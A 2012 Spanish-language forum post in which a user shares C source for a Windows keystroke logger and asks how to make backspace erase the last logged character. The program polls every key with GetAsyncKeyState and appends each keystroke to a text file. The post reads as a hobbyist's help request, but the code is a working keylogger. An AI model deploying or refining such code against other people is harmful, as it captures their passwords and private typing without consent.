Ver Mensaje Individual
  #3 (permalink)  
Antiguo 11/07/2012, 10:42
Gaudy
 
Fecha de Ingreso: junio-2009
Mensajes: 84
Antigüedad: 15 años, 4 meses
Puntos: 2
Respuesta: Borrar ultimo Caracter de un Archivo - C

Es que estaba haciendo un programa para reconocer el teclado y cuando pongo DELETE, osea, cuando apreto la barra para borrar le puse que dejara un "|<-|" en el archivo de texto, ahora para hacer lo que quiero puedo hacer 2 cosas, recorrer el archivo y cuando encuentre un |<-| borrar lo que halla antes EJ: si encuentra esto en el archivo de texto "a b|<-|<-|" que termine asi "a", o que borre altiro el ultimo caracter:

Mi codigo es este:

Código C:
Ver original
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #include <winuser.h>
  5.  
  6. int main() {
  7.     short character;
  8.     short mayus;           
  9.    
  10.     mayus = 0;
  11.  
  12.     while(1) {
  13.            Sleep(25);
  14.            
  15.            for(character=8 ; character<=222 ; character++) {
  16.                if(GetAsyncKeyState(character) == -32767) {
  17.                    FILE *archivo;
  18.                    archivo = fopen("holi.txt","a+");
  19.                    if(!archivo) {
  20.                        return EXIT_FAILURE;
  21.                }      
  22.                else {
  23.                    if (character == VK_CAPITAL)
  24.                       mayus++;
  25.                    if((character >= 39) && (character <= 64)) {
  26.                       fputc(character, archivo);
  27.                       fclose(archivo);
  28.                       break;
  29.                    }    
  30.                    else if((character > 64) && (character < 91 )) {
  31.                       if (!(mayus%2))
  32.                         fputc(character+32,archivo);
  33.                       else
  34.                         fputc(character,archivo);
  35.                       fclose(archivo);
  36.                       break;
  37.                    }
  38.                    else {
  39.                      switch(character) {
  40.                         case VK_SPACE:
  41.                             fputc(' ',archivo);
  42.                             fclose(archivo);
  43.                         break;
  44.                         case VK_CAPITAL:
  45.                             fputs("|Bloq Mayus|",archivo);
  46.                             fclose(archivo);
  47.                         break;
  48.                         case VK_LSHIFT:
  49.                             fputs("|L Shift|",archivo);
  50.                             fclose(archivo);
  51.                         break;
  52.                         case VK_RSHIFT:
  53.                             fputs("|R Shift|",archivo);
  54.                             fclose(archivo);
  55.                         break;                    
  56.                         case VK_RETURN:
  57.                             fputs("|Enter|\n",archivo);
  58.                             fclose(archivo);
  59.                         break;
  60.                         break;
  61.                         case VK_BACK:
  62.                             fputs("|<-|",archivo);
  63.                             fclose(archivo);
  64.                         break;
  65.                         case VK_TAB:
  66.                             fputs("|Tab|    ",archivo);
  67.                             fclose(archivo);
  68.                         break;
  69.                         case VK_RCONTROL:
  70.                             fputs("|R Ctr|",archivo);
  71.                             fclose(archivo);
  72.                         break;
  73.                         case VK_LCONTROL:
  74.                             fputs("|L Ctr|",archivo);
  75.                             fclose(archivo);
  76.                         break;
  77.                         case VK_RMENU:
  78.                             fputs("|R Alt|",archivo);
  79.                             fclose(archivo);
  80.                         break;
  81.                         case VK_LMENU:
  82.                             fputs("|L Alt|",archivo);
  83.                             fclose(archivo);
  84.                         break;
  85.                         case VK_DELETE:
  86.                             fputs("|Del|",archivo);
  87.                             fclose(archivo);
  88.                         break;
  89.                         case VK_ADD:
  90.                             fputs("|+|",archivo);
  91.                             fclose(archivo);
  92.                         break;                
  93.                         case VK_DECIMAL:
  94.                             fputs("|.|",archivo);
  95.                             fclose(archivo);
  96.                         break;
  97.                         case VK_OEM_1:
  98.                             fputs("|[|",archivo);
  99.                             fclose(archivo);
  100.                         case VK_OEM_2:
  101.                             fputs("|}|",archivo);
  102.                             fclose(archivo);
  103.                         break;
  104.                         case VK_OEM_3:
  105.                             fputs("ñ",archivo);
  106.                             fclose(archivo);
  107.                         break;
  108.                         case VK_OEM_4:
  109.                             fputs("|?|",archivo);
  110.                             fclose(archivo);
  111.                         break;
  112.                         case VK_OEM_5:
  113.                             fputs("|º|",archivo);
  114.                             fclose(archivo);
  115.                         break;                
  116.                         case VK_OEM_6:
  117.                             fputs("|¿|",archivo);
  118.                             fclose(archivo);
  119.                         break;
  120.                         case VK_OEM_7:
  121.                             fputs("|{|",archivo);
  122.                             fclose(archivo);
  123.                         break;
  124.                         case VK_NUMPAD0:
  125.                             fputc('0',archivo);
  126.                             fclose(archivo);
  127.                         break;                    
  128.                         case VK_SUBTRACT:
  129.                             fputs("|-|",archivo);
  130.                             fclose(archivo);
  131.                         break;
  132.                         case VK_MULTIPLY:
  133.                             fputs("|*|",archivo);
  134.                             fclose(archivo);
  135.                         break;
  136.                         case VK_INSERT:
  137.                             fputs("|Insert|",archivo);
  138.                             fclose(archivo);
  139.                         break;
  140.                         case VK_NEXT:
  141.                             fputs("|Av Pag|",archivo);
  142.                             fclose(archivo);
  143.                         break;
  144.                         case VK_PRIOR:
  145.                             fputs("|Re Pag|",archivo);
  146.                             fclose(archivo);
  147.                         break;
  148.                         case VK_PRINT:
  149.                             fputs("|Imp Pant|",archivo);
  150.                             fclose(archivo);
  151.                         break;
  152.                         case VK_UP:
  153.                             fputs("|Up|",archivo);
  154.                             fclose(archivo);
  155.                         break;
  156.                         case VK_DOWN:
  157.                             fputs("|Down|",archivo);
  158.                             fclose(archivo);
  159.                         break;
  160.                         case VK_RIGHT:
  161.                             fputs("|Right|",archivo);
  162.                             fclose(archivo);
  163.                         break;
  164.                         case VK_LEFT:
  165.                             fputs("|Left|",archivo);
  166.                             fclose(archivo);
  167.                         break;
  168.                         case VK_NUMPAD1:
  169.                             fputc('1',archivo);
  170.                             fclose(archivo);
  171.                         break;
  172.                         case VK_NUMPAD2:
  173.                             fputc('2',archivo);
  174.                             fclose(archivo);
  175.                         break;
  176.                         case VK_NUMPAD3:
  177.                             fputc('3',archivo);
  178.                             fclose(archivo);
  179.                         break;
  180.                         case VK_NUMPAD4:
  181.                             fputc('4',archivo);
  182.                             fclose(archivo);
  183.                         break;
  184.                         case VK_NUMPAD5:
  185.                             fputc('5',archivo);
  186.                             fclose(archivo);
  187.                         break;
  188.                         case VK_NUMPAD6:
  189.                             fputc('6',archivo);
  190.                             fclose(archivo);
  191.                         break;
  192.                         case VK_NUMPAD7:
  193.                             fputc('7',archivo);
  194.                             fclose(archivo);
  195.                         break;
  196.                         case VK_NUMPAD8:
  197.                             fputc('8',archivo);
  198.                             fclose(archivo);
  199.                         break;
  200.                         case VK_NUMPAD9:
  201.                             fputc('9',archivo);
  202.                             fclose(archivo);
  203.                         break;
  204.                         case VK_F1:
  205.                             fputs("|F1|",archivo);
  206.                             fclose(archivo);
  207.                         break;
  208.                         case VK_F2:
  209.                             fputs("|F2|",archivo);
  210.                             fclose(archivo);
  211.                         break;
  212.                         case VK_F3:
  213.                             fputs("|F3|",archivo);
  214.                             fclose(archivo);
  215.                         break;
  216.                         case VK_F4:
  217.                             fputs("|F4|",archivo);
  218.                             fclose(archivo);
  219.                         break;
  220.                         case VK_F5:
  221.                             fputs("|F5|",archivo);
  222.                             fclose(archivo);
  223.                         break;
  224.                         case VK_F6:
  225.                             fputs("|F6|",archivo);
  226.                             fclose(archivo);
  227.                         break;
  228.                         case VK_F7:
  229.                             fputs("|F7|",archivo);
  230.                             fclose(archivo);
  231.                         break;
  232.                         case VK_F8:
  233.                             fputs("|F8|",archivo);
  234.                             fclose(archivo);
  235.                         break;
  236.                         case VK_F9:
  237.                             fputs("|F9|",archivo);
  238.                             fclose(archivo);
  239.                         break;
  240.                         case VK_F10:
  241.                             fputs("|F10|",archivo);
  242.                             fclose(archivo);
  243.                         break;
  244.                         case VK_F11:
  245.                             fputs("|F11|",archivo);
  246.                             fclose(archivo);
  247.                         break;
  248.                         case VK_F12:
  249.                             fputs("|F12|",archivo);
  250.                             fclose(archivo);
  251.                         break;
  252.                         default:
  253.                             fclose(archivo);
  254.                         break;
  255.                     }    
  256.                  }  
  257.               }    
  258.            }  
  259.         }          
  260.      }
  261.  
  262.   return EXIT_SUCCESS;
  263. }

Lo he pensado harto pero no encuentro una forma de hacerlo en pocos pasos, por que lo de ir recorriendo el archivo de texto e ir borrando el caracter que halla antes de un "|<-|" no se como hacerlo todavia pero creo que quedaria como con muchas lineas y se me ocurre que no seria lo mas optimo, en vez de eso prefiero un codigo que automaticamente borre el ultimo caracter... Si a alguien se le ocurre como... Pls